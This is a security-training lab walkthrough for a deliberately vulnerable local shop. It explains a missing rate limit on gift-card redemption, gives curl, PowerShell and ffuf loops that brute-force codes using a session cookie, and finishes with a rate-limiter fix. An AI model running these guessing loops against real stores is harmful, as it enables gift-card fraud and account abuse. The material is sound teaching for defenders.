The shop lets you redeem a gift card for store credit. Enter a code, and if it is real, the balance goes up. The problem is what happens when the code is wrong: nothing. No delay, no lockout, no limit. So you can sit there and guess, thousands of times a minute, until you hit a live one. This is a brute-force flaw caused by a missing rate limit.
New to this? What is a missing rate limit (brute force)?
A rate limit caps how often someone can do something, like try a code or a password. Without one, an attacker can automate guesses at machine speed.
Brute force is exactly that: trying every possibility until one works. Short codes plus no limit is a losing combination, because the whole space can be walked in minutes. The fix is not a cleverer code, it is refusing to answer thousands of guesses.
Make sure the shop is running at http://localhost:3000
and log in with any grey-box account. Guessing by hand would take
forever, so this is the one exercise where you need a terminal to fire requests
in a loop. Each command below comes in two flavours: the Mac or Linux Terminal
version (which also works in Git Bash or WSL on Windows) and a
Windows PowerShell version. Nothing to install: curl ships with
macOS, Linux and Windows 10 and later.
1 · Find it
Log in and open your account page. Open developer tools (right-click → Inspect, or F12 on Windows / Cmd+Option+I on a Mac), click the Network tab, and tick Preserve log (Chrome/Edge) or Persist logs (Firefox) so the list does not clear when the page reloads. Now type any made-up code into the gift-card box and click Redeem.
A row named gift-card appears in the Network list. Click it, then open the
Payload tab (Chrome/Edge) or the Request tab (Firefox). That is
where the code you typed was sent, as a single form field:
POST /gift-card
Content-Type: application/x-www-form-urlencoded
code=ABC123 (Do not look in the Response or Preview tab: that shows the account page the shop sends back, with the message “That code is not valid”. Your code lives in the request you sent, not in the response you got.)
A wrong code just comes back “not valid”. Submit it again. And again. There is no delay, no captcha, no lockout after ten tries, no cap at all. That missing limit is the flaw: the shop is happy to be asked forever.
2 · Exploit it
The endpoint needs a login, so your command has to carry your session cookie (otherwise the shop
just bounces every request to the login page). Grab it from dev tools: Application
tab (Chrome/Edge) or Storage (Firefox) → Cookies →
http://localhost:3000, and copy the value of the ff_session row.
In the commands below, swap YOUR_COOKIE for that value.
Option 1 · Prove there is no limit. Fire 100 wrong guesses in a row and tally the results. This is the whole flaw in one line: a well-built shop would start refusing you.
for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" -b "ff_session=YOUR_COOKIE" -X POST -d "code=WRONG$i" http://localhost:3000/gift-card; done | sort | uniq -c 1..100 | ForEach-Object { curl.exe -s -o NUL -w "%{http_code}" -b "ff_session=YOUR_COOKIE" -X POST -d "code=WRONG$_" http://localhost:3000/gift-card } | Group-Object | ForEach-Object { "$($_.Count) $($_.Name)" }
You should see a single line: 100 200. Read it as “100 responses, all with HTTP
status 200” (the left number is the count, the right is the status). Every guess was accepted
and answered, none was refused. An endpoint with a rate limit would start returning
429 Too Many Requests after a handful of tries. This one never does.
(If you get 100 302 instead, your cookie is missing or wrong, so the shop is
redirecting you to the login page. Recopy the ff_session value and run it again.)
Option 2 · Hunt for a real code. Same loop, but now watch the reply for
the success message rather than the status. Put your candidate codes one per line in a file called
codes.txt, then:
while read code; do curl -s -b "ff_session=YOUR_COOKIE" -X POST -d "code=$code" http://localhost:3000/gift-card | grep -q "added to your account" && echo "HIT: $code"; done < codes.txt Get-Content codes.txt | ForEach-Object { if ((curl.exe -s -b "ff_session=YOUR_COOKIE" -X POST -d "code=$_" http://localhost:3000/gift-card) -match "added to your account") { "HIT: $_" } }
Any code that lands prints HIT and the credit is on your account. You are limited only
by how good your list of guesses is, never by the shop.
Hard mode · Let a fuzzer do it. To go faster and wider than a shell loop, a
tool such as ffuf runs the same idea at machine speed and
flags the hit for you (note the same cookie, passed with -b):
ffuf -w codes.txt -u http://localhost:3000/gift-card -X POST -d "code=FUZZ" -b "ff_session=YOUR_COOKIE" -mr "added to your account" Whichever route you take, nothing slows it down, so a valid code eventually drops out and the credit lands in the account. Free sweets, funded by the missing limit.
Why it matters: the same missing control is what turns a leaked email list into account takeover (password spraying) or a login into a credential-stuffing target. Rate limiting is boring and it is load-bearing.
3 · Understand it
The handler checks the code and answers, every single time, with no memory of how many times this person has already asked:
app.post('/gift-card', requireAuth, (req, res) => {
const card = findCard(req.body.code); // right or wrong
if (card) creditAccount(...);
res.render('account', { ... }); // no counting, no cooldown
}); There is nothing wrong with the check itself. What is missing is any sense that a hundred failed attempts from one account in ten seconds is not normal.
4 · Fix it
Count attempts and start refusing. A limiter keyed on the account (or IP) that slows down or blocks after a handful of failures turns days of free guessing into a dead end:
app.post('/gift-card',
requireAuth,
redeem); const limit = rateLimit({
windowMs: 60_000, max: 5
});
app.post('/gift-card',
requireAuth, limit,
redeem); Five tries a minute is plenty for a real customer and useless for a brute-forcer. Longer, higher-entropy codes help too, but the limit is what closes the door.
The general rule: anything that can be guessed, from codes to passwords to one-time tokens, needs a rate limit and a lockout. Assume every guessable endpoint will be guessed at, and make the guessing expensive.